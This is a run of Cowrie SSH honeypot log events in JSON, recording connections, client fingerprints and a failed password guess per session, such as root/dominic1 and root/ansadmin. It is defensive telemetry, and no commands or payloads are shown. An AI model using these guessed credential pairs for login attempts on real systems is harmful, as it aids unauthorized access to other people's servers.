{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:22:50.219700Z","src_ip":"92.191.96.70","session":"660c04b52e57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:22:50.418519Z","src_ip":"92.191.96.70","session":"660c04b52e57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:22:50.943613Z","src_ip":"92.191.96.70","session":"660c04b52e57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:22:52.068625Z","src_ip":"92.191.96.70","session":"660c04b52e57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.16.27.190","src_port":35376,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2a8b1446de4","protocol":"ssh","message":"New connection: 125.16.27.190:35376 (159.203.135.109:22) [session: b2a8b1446de4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:22:59.279473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:22:59.283763Z","src_ip":"125.16.27.190","session":"b2a8b1446de4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:22:59.597433Z","src_ip":"125.16.27.190","session":"b2a8b1446de4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dominic1","message":"login attempt [root/dominic1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:23:00.901784Z","src_ip":"125.16.27.190","session":"b2a8b1446de4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:23:02.213459Z","src_ip":"125.16.27.190","session":"b2a8b1446de4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.195.79.219","src_port":41730,"dst_ip":"10.17.0.5","dst_port":22,"session":"fafa7b3f3169","protocol":"ssh","message":"New connection: 159.195.79.219:41730 (10.17.0.5:22) [session: fafa7b3f3169]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:23:02.869683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:23:02.876465Z","src_ip":"159.195.79.219","session":"fafa7b3f3169","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:23:02.971455Z","src_ip":"159.195.79.219","session":"fafa7b3f3169","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ansadmin","message":"login attempt [root/ansadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:23:03.363801Z","src_ip":"159.195.79.219","session":"fafa7b3f3169","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:23:04.457595Z","src_ip":"159.195.79.219","session":"fafa7b3f3169","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.0.200.227","src_port":39802,"dst_ip":"159.203.135.109","dst_port":22,"session":"08709e5b0ef2","protocol":"ssh","message":"New connection: 107.0.200.227:39802 (159.203.135.109:22) [session: 08709e5b0ef2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:23:13.939062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:23:13.944132Z","src_ip":"107.0.200.227","session":"08709e5b0ef2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:23:13.976312Z","src_ip":"107.0.200.227","session":"08709e5b0ef2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ripple","message":"login attempt [root/ripple] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:23:14.130038Z","src_ip":"107.0.200.227","session":"08709e5b0ef2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:23:15.164007Z","src_ip":"107.0.200.227","session":"08709e5b0ef2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.192.46.49","src_port":40762,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1b3174fe928","protocol":"ssh","message":"New connection: 81.192.46.49:40762 (159.203.135.109:22) [session: f1b3174fe928]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:23:16.528283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:23:16.533506Z","src_ip":"81.192.46.49","session":"f1b3174fe928","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:23:16.652189Z","src_ip":"81.192.46.49","session":"f1b3174fe928","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"matias","message":"login attempt [root/matias] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:23:17.142974Z","src_ip":"81.192.46.49","session":"f1b3174fe928","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:23:18.261207Z","src_ip":"81.192.46.49","session":"f1b3174fe928","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.107.32.186","src_port":34237,"dst_ip":"10.17.0.5","dst_port":22,"session":"fce32972ac11","protocol":"ssh","message":"New connection: 175.107.32.186:34237 (10.17.0.5:22) [session: fce32972ac11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:23:18.358413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:23:18.362623Z","src_ip":"175.107.32.186","session":"fce32972ac11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:23:18.576203Z","src_ip":"175.107.32.186","session":"fce32972ac11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:23:19.461577Z","src_ip":"175.107.32.186","session":"fce32972ac11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:23:20.678697Z","src_ip":"175.107.32.186","session":"fce32972ac11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.187.220","src_port":49034,"dst_ip":"159.203.135.109","dst_port":22,"session":"d901d286f426","protocol":"ssh","message":"New connection: 45.61.187.220:49034 (159.203.135.109:22) [session: d901d286f426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:23:35.214601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:23:35.223552Z","src_ip":"45.61.187.220","session":"d901d286f426","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:23:35.271346Z","src_ip":"45.61.187.220","session":"d901d286f426","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:23:35.446042Z","src_ip":"45.61.187.220","session":"d901d286f426","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:23:36.494700Z","src_ip":"45.61.187.220","session":"d901d286f426","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.163.125","src_port":36568,"dst_ip":"159.203.135.109","dst_port":22,"session":"957cb6364828","protocol":"ssh","message":"New connection: 66.113.163.125:36568 (159.203.135.109:22) [session: 957cb6364828]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:23:52.081405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:23:52.086255Z","src_ip":"66.113.163.125","session":"957cb6364828","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:23:52.125514Z","src_ip":"66.113.163.125","session":"957cb6364828","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dev@123","message":"login attempt [root/dev@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:23:52.308683Z","src_ip":"66.113.163.125","session":"957cb6364828","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:23:53.348059Z","src_ip":"66.113.163.125","session":"957cb6364828","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.191.96.70","src_port":44984,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cbe655d6eb8","protocol":"ssh","message":"New connection: 92.191.96.70:44984 (10.17.0.5:22) [session: 6cbe655d6eb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:08.514001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:08.519250Z","src_ip":"92.191.96.70","session":"6cbe655d6eb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:08.697874Z","src_ip":"92.191.96.70","session":"6cbe655d6eb8","protocol":"ssh"}
